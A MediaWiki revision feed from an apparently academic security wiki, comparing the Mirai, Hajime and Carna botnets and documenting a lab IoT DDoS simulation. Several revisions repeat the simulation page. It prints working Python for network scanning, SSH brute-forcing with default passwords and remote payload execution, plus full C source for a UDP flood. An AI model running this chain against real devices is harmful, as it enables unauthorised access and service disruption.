Hajime differs from Mirai because it uses a peer-to-peer&amp;lt;ref name=&amp;quot;PeerToPeerReference&amp;quot;&amp;gt;https://www.researchgate.net/publication/345805408_Botnet_Fingerprint_Using_Bro-IDS&amp;lt;/ref&amp;gt; architecture, which means there is no central server in control. This makes it much harder for authorities to take down the whole botnet since there isn’t a single point of failure. This architecture is more advanced compared to using a C&amp;amp;C server. Interestingly, Hajime does not conduct DDoS attacks like Mirai. Instead, it appears to protect the compromised devices by blocking certain ports. Despite this, it remains a potential threat because it still maintains unauthorized control over IoT devices.&amp;lt;ref name=&amp;quot;HajimeReference&amp;quot;&amp;gt;https://www.infopoint-security.de/media/Botnet_Hajime_Radware_Analyse.pdf&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Carna ==&lt;br /&gt;
&lt;br /&gt;
Carna is quite unusual. It was created as part of the Internet Census 2012&amp;lt;ref name=&amp;quot;CarnaReference&amp;quot;&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt; project to find unsecured IoT devices and map the global IoT landscape. Unlike Mirai and Hajime, Carna wasn’t designed for malicious purposes. Instead, it used infected devices to collect data about the internet — without conducting any known attacks like DDoS. Carna was a research initiative to demonstrate how many IoT devices were exposed and lacked proper security. It was designed to perform multiple censuses and then delete itself from the devices. Its data was used in many research papers&amp;lt;ref&amp;gt;https://dl.acm.org/doi/pdf/10.1145/2656877.2656893&amp;lt;/ref&amp;gt;, but overall, the census was illegal, and the results need to be treated therefore with caution.&lt;br /&gt;
[[File:carna420.jpg|center|thumb|Carna Clients in 2012&amp;lt;ref name=&amp;quot;carna&amp;quot;&amp;gt;https://census2012.sourceforge.net/images.html&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comparison of the Botnets ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+ Differences between Mirai, Hajime, and Carna&lt;br /&gt;
|-&lt;br /&gt;
! Botnet !! Architecture !! Main Objective !! Special Features&lt;br /&gt;
|-&lt;br /&gt;
| Mirai || Centralized (C&amp;amp;C) || DDoS attacks || Uses default logins for infiltration&lt;br /&gt;
|-&lt;br /&gt;
| Hajime || Peer-to-peer || Protection of infected devices || No centralized control, blocks ports&lt;br /&gt;
|-&lt;br /&gt;
| Carna || Centralized || Research purposes || Developed for mapping global IoT security, no destructive activities&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Mirai, Hajime, and Carna have different goals and architectures. Mirai is used for large-scale [https://wiki.elvis.science/index.php?title=Denial_of_Service_Attacks DDoS] attacks, Hajime attempts to protect the devices it infects from other threats, and Carna was primarily a research project highlighting the security issues in IoT devices. What&#039;s interesting is that despite having very different objectives, these botnets often use similar methods to spread and compromise devices.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Mirai: [https://www.cloudflare.com/de-de/learning/ddos/glossary/mirai-botnet/ Cloudflare - Mirai Botnet]&lt;br /&gt;
* Hajime: [https://www.theregister.com/2017/04/27/hajime_iot_botnet/ The Register - Hajime IoT Botnet]&lt;br /&gt;
* Carna: [https://www.c0mplex1.com/blog/carna-botnet-history/ Complex1 - Carna Botnet History]&lt;br /&gt;
* [https://census2012.sourceforge.net/paper.html Internet Census 2012 - Carna Botnet Paper]&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=16690</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=16690"/>
		<updated>2024-12-05T11:30:08Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
# This attack should last for 30seconds and than stop by its self.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
Hardware:&lt;br /&gt;
Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
Software:&lt;br /&gt;
Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
Network monitoring tools like Wireshark to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Brute-Force&lt;br /&gt;
def ssh_brute_force(ip):&lt;br /&gt;
    print(f&amp;quot;\nStarte Brute-Force-Angriff auf {ip}...\n&amp;quot;)&lt;br /&gt;
    port = 22&lt;br /&gt;
    usernames = [&#039;admin&#039;, &#039;user&#039;]&lt;br /&gt;
    passwords = [&#039;1234&#039;, &#039;admin&#039;, &#039;password&#039;]&lt;br /&gt;
    local_file = &amp;quot;C:/Users/julia/Documents/VSCode/AKITS_BOT/akits/udp_flood&amp;quot;&lt;br /&gt;
    remote_path = f&amp;quot;/home/admin/udp_flood&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ssh = paramiko.SSHClient()&lt;br /&gt;
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())&lt;br /&gt;
&lt;br /&gt;
    for username in usernames:&lt;br /&gt;
        for password in passwords:&lt;br /&gt;
            try:&lt;br /&gt;
                print(f&amp;quot;Versuche: {username}:{password}&amp;quot;)&lt;br /&gt;
                ssh.connect(ip, port=port, username=username, password=password, timeout=3)&lt;br /&gt;
                print(f&amp;quot;\nErfolgreich! Benutzer: {username}, Passwort: {password}\n&amp;quot;)&lt;br /&gt;
                input(&amp;quot;\n[Datei hochladen? Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
                upload_and_execute(ssh, username, local_file, remote_path)&lt;br /&gt;
                return&lt;br /&gt;
            except paramiko.AuthenticationException:&lt;br /&gt;
                print(f&amp;quot;Fehlgeschlagen für: {username}:{password}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;Fehler: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    ssh.close()&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
def upload_and_execute(ssh, username, local_file, remote_path):&lt;br /&gt;
    try:&lt;br /&gt;
        sftp = ssh.open_sftp()&lt;br /&gt;
&lt;br /&gt;
        if os.path.exists(local_file):&lt;br /&gt;
            print(f&amp;quot;Datei gefunden: {local_file}&amp;quot;)&lt;br /&gt;
        else:&lt;br /&gt;
            print(f&amp;quot;Datei nicht gefunden: {local_file}&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
&lt;br /&gt;
        print(f&amp;quot;Lade {local_file} auf {remote_path} hoch...\n&amp;quot;)&lt;br /&gt;
        sftp.put(local_file, remote_path)&lt;br /&gt;
        ssh.exec_command(f&amp;quot;chmod +x {remote_path}&amp;quot;)&lt;br /&gt;
        input(&amp;quot;\n[Achtung: Nach der nächsten Bestätigung beginnt der Flooding-Angriff. Drücke Enter, um fortzufahren...]\n&amp;quot;)&lt;br /&gt;
        print(f&amp;quot;\nFühre {remote_path} aus...\n&amp;quot;)&lt;br /&gt;
        stdin, stdout, stderr = ssh.exec_command(f&amp;quot;{remote_path}&amp;quot;)&lt;br /&gt;
        print(stdout.read().decode())&lt;br /&gt;
        print(stderr.read().decode())&lt;br /&gt;
&lt;br /&gt;
        sftp.close()&lt;br /&gt;
        ssh.close()&lt;br /&gt;
        print(&amp;quot;\nDatei erfolgreich hochgeladen und ausgeführt.&amp;quot;)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Fehler bei der Übertragung und Ausführung der Datei: {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Hauptlogik&lt;br /&gt;
raspberry_ip = find_raspberry_pi()&lt;br /&gt;
&lt;br /&gt;
if raspberry_ip:&lt;br /&gt;
    ssh_brute_force(raspberry_ip)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;\nKein Raspberry Pi gefunden. Das Skript wird beendet.&amp;quot;)&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== The C Script ==&lt;br /&gt;
This script was the one actually uploaded to the Raspberry Pi 2 and executed.&lt;br /&gt;
It is important to note that this script was not uploaded in its current form but first needed to be converted into a native binary format that the Raspberry Pi 2 can execute. This process has the significant advantage of removing the need for the Raspberry Pi 2 to convert the code into machine language during execution. The binary is already fully prepared to run as-is.&lt;br /&gt;
&lt;br /&gt;
To achieve this, I used the GCC tool on Linux (Ubuntu). The exact command was:&lt;br /&gt;
&lt;br /&gt;
arm-linux-gnueabihf-gcc -o udp_flood udp_flood.c&lt;br /&gt;
&lt;br /&gt;
This command converts a file named udp_flood.c into a native binary called udp_flood, which can be executed directly by the Raspberry Pi 2.&lt;br /&gt;
&lt;br /&gt;
It is crucial to take extra care here because the Raspberry Pi 2 runs Linux on an ARM chip, which requires using the appropriate cross-compiler (arm-linux-gnueabihf-gcc) to ensure compatibility with its architecture.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;arpa/inet.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;  // Für sleep-Funktion&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    int sock;&lt;br /&gt;
    struct sockaddr_in target;&lt;br /&gt;
    char message[1024];&lt;br /&gt;
    time_t start_time, current_time;&lt;br /&gt;
&lt;br /&gt;
    // Vordefinierte Ziel-IP und Ziel-Port&lt;br /&gt;
    char target_ip[] = &amp;quot;192.168.1.238&amp;quot;;  // Ziel-IP hier festlegen&lt;br /&gt;
    int target_port = 22;               // Ziel-Port hier festlegen&lt;br /&gt;
&lt;br /&gt;
    // Fülle die Nachricht mit Dummy-Daten&lt;br /&gt;
    memset(message, &#039;X&#039;, sizeof(message));&lt;br /&gt;
&lt;br /&gt;
    // Erstelle das UDP-Socket&lt;br /&gt;
    if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) &amp;lt; 0) {&lt;br /&gt;
        perror(&amp;quot;Socket konnte nicht erstellt werden&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    // Setze die Ziel-IP und den Port&lt;br /&gt;
    target.sin_family = AF_INET;&lt;br /&gt;
    target.sin_port = htons(target_port);&lt;br /&gt;
    target.sin_addr.s_addr = inet_addr(target_ip);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Starte UDP-Flood auf %s:%d für 30 Sekunden\n&amp;quot;, target_ip, target_port);&lt;br /&gt;
    &lt;br /&gt;
    // Starte die Zeitmessung&lt;br /&gt;
    time(&amp;amp;start_time);&lt;br /&gt;
&lt;br /&gt;
    // Sende Pakete für 30 Sekunden&lt;br /&gt;
    do {&lt;br /&gt;
        sendto(sock, message, sizeof(message), 0, (struct sockaddr *)&amp;amp;target, sizeof(target));&lt;br /&gt;
        time(&amp;amp;current_time);&lt;br /&gt;
    } while (difftime(current_time, start_time) &amp;lt; 30);  // Laufzeit 30 Sekunden&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;UDP-Flooding-Angriff beendet.\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    close(sock);  // Schließe das Socket&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). &lt;br /&gt;
   2. With network throttling applied to the target device to sumilate a stronger attack.&lt;br /&gt;
&lt;br /&gt;
== Findings ==&lt;br /&gt;
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.&lt;br /&gt;
[[File:Attack1.png|thumb|center|Unsuccessful attack]]&lt;br /&gt;
Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.&lt;br /&gt;
[[File:Attack2.png|thumb|center|Successful attack]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.&lt;br /&gt;
&lt;br /&gt;
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.&lt;br /&gt;
&lt;br /&gt;
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=16624</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=16624"/>
		<updated>2024-12-03T20:24:12Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
# This attack should last for 30seconds and than stop by its self.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
Hardware:&lt;br /&gt;
Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
Software:&lt;br /&gt;
Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
Network monitoring tools like Wireshark to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
   A script attempted to gain access to the Raspberry Pi via SSH using a dictionary attack. Upon successful authentication, the payload was uploaded to the device.&lt;br /&gt;
&lt;br /&gt;
3. **Executing the Attack:**  &lt;br /&gt;
   The payload was executed directly on the Raspberry Pi, targeting a designated server. The UDP Flood attack sent a high volume of packets over a duration of 30 seconds.&lt;br /&gt;
&lt;br /&gt;
4. **Monitoring the Network:**  &lt;br /&gt;
   This experiment was conducted under two conditions:&lt;br /&gt;
   1. Without resource limitations on the target device (Ubuntu server). &lt;br /&gt;
   2. With network throttling applied to the target device to sumilate a stronger attack.&lt;br /&gt;
&lt;br /&gt;
== Findings ==&lt;br /&gt;
Under Condition 1 the attack occurred, but the server processed the traffic without significant disruption. It could handle the incoming packets and was able to be connected the whole time.&lt;br /&gt;
[[File:Attack1.png|thumb|center|Unsuccessful attack]]&lt;br /&gt;
Under Condition 2, the attack significantly disrupted the server, causing packet loss and disconnections for logged-in users. Some packets were able to come througth. But none of the pings that were sent to the target.&lt;br /&gt;
[[File:Attack2.png|thumb|center|Successful attack]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
This scenario is, of course, not at a level to execute actual attacks or pose any real-world threats. However, what it has impressively demonstrated is the capability to simulate an effective and practical IoT-based attack with minimal resources. Using less than 100 lines of code, the experiment replicated techniques employed by well-known botnets, such as Mirai and Carna, to highlight the simplicity and accessibility of such methods.&lt;br /&gt;
&lt;br /&gt;
What makes this demonstration particularly striking is the low barrier to entry—leveraging common tools like Python and nmap alongside a Raspberry Pi, a device readily available and inexpensive. This underscores the reality that even basic hardware and software setups can exploit common IoT vulnerabilities, such as weak authentication mechanisms and open network ports.&lt;br /&gt;
&lt;br /&gt;
While the attack itself was conducted under controlled and ethical conditions, it illustrates how quickly a targeted device could be identified, compromised, and weaponized to disrupt other systems. The experiment serves as a sobering reminder of the real-world risks posed by insecure IoT devices and the need for robust security measures to mitigate such threats.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Attack2.png&amp;diff=16623</id>
		<title>File:Attack2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Attack2.png&amp;diff=16623"/>
		<updated>2024-12-03T20:16:52Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Attack1.png&amp;diff=16622</id>
		<title>File:Attack1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Attack1.png&amp;diff=16622"/>
		<updated>2024-12-03T20:16:26Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JWildauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=16621</id>
		<title>IoT DDoS Attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IoT_DDoS_Attack&amp;diff=16621"/>
		<updated>2024-12-03T19:57:52Z</updated>

		<summary type="html">&lt;p&gt;JWildauer: Created page with &amp;quot;= IoT Attack Simulation: A Practical Demonstration =  == Summary == This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.  =...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= IoT Attack Simulation: A Practical Demonstration =&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
This article presents a practical demonstration of an IoT-based attack, simulating a Distributed Denial of Service (DDoS) attack. The objective of this simulation is to understand the vulnerabilities in IoT devices and analyze their potential exploitation. Inspired by Mirai, the plan is to identify a vulnerable device by its IP address, infect it, and then use it to launch an attack on another device.&lt;br /&gt;
&lt;br /&gt;
== Attack Methodology ==&lt;br /&gt;
The attack simulation involves the following steps:&lt;br /&gt;
# Perform a network scan to identify active devices within the network (inspired by the Carna botnet scanning method&amp;lt;ref&amp;gt;https://census2012.sourceforge.net/paper.html&amp;lt;/ref&amp;gt;).&lt;br /&gt;
# Execute a brute-force attack to gain unauthorized access to the identified IoT device.&lt;br /&gt;
# Upload and execute a payload onto the compromised device to prepare for the attack.&lt;br /&gt;
# Use the compromised IoT device to launch a UDP Flood attack targeting a specific server.&lt;br /&gt;
&lt;br /&gt;
== Experiment Setup ==&lt;br /&gt;
The experiment setup includes:&lt;br /&gt;
**Hardware:**&lt;br /&gt;
* Raspberry Pi 2 as the attacking device  &lt;br /&gt;
This device was used as it simulated an IoT device and reflected the computational limitations of such devices.&lt;br /&gt;
&lt;br /&gt;
* Target server configured to monitor incoming traffic  &lt;br /&gt;
An Ubuntu Server 24.04.01 was deployed with 2 cores of an AMD Ryzen 5700u to simulate a desktop machine.&lt;br /&gt;
&lt;br /&gt;
**Software:**&lt;br /&gt;
* Python scripts for scanning the network and executing brute-force attacks.&lt;br /&gt;
* A compiled C program to launch the UDP Flood attack.&lt;br /&gt;
* Network monitoring tools like Wireshark to observe the impact of the attack.&lt;br /&gt;
&lt;br /&gt;
== Description of the Process ==&lt;br /&gt;
1. **Scanning the Network:**  &lt;br /&gt;
   Using Python, a network scan was conducted to detect active devices in the local subnet. Each device&#039;s IP address and open ports were recorded for further analysis.&lt;br /&gt;
&lt;br /&gt;
   The following code snippet defines the `find_raspberry_pi` function, which scans the private network `192.168.1.0/24` and identifies the Raspberry Pi 2 by its MAC address prefix:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
   def find_raspberry_pi():&lt;br /&gt;
       print(&amp;quot;Scanning network...\n&amp;quot;)&lt;br /&gt;
       nm = nmap.PortScanner()&lt;br /&gt;
       raspberry_mac_prefix = &amp;quot;B8:27:EB&amp;quot;.lower()&lt;br /&gt;
       network_range = &#039;192.168.1.0/24&#039;&lt;br /&gt;
&lt;br /&gt;
       # Conducting the scan&lt;br /&gt;
       nm.scan(hosts=network_range, arguments=&#039;-p 22,80,8080 -sS&#039;)&lt;br /&gt;
       raspberry_ip = None&lt;br /&gt;
&lt;br /&gt;
       for host in nm.all_hosts():&lt;br /&gt;
           print(f&amp;quot;Scanning host {host}...&amp;quot;)&lt;br /&gt;
           if &#039;addresses&#039; in nm[host] and &#039;mac&#039; in nm[host][&#039;addresses&#039;]:&lt;br /&gt;
               mac_address = nm[host][&#039;addresses&#039;][&#039;mac&#039;].lower()&lt;br /&gt;
               print(f&amp;quot;Host {host} has MAC address {mac_address}&amp;quot;)&lt;br /&gt;
               if mac_address.startswith(raspberry_mac_prefix):&lt;br /&gt;
                   print(f&amp;quot;\nRaspberry Pi found: {host} with MAC address {mac_address}\n&amp;quot;)&lt;br /&gt;
                   raspberry_ip = host&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;\nScan complete.&amp;quot;)&lt;br /&gt;
       input(&amp;quot;\n[Press Enter to proceed with brute-force...]\n&amp;quot;)&lt;br /&gt;
       return raspberry_ip&lt;br /&gt;
   &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. **Brute-Force Attack:**  &lt;br /&gt;
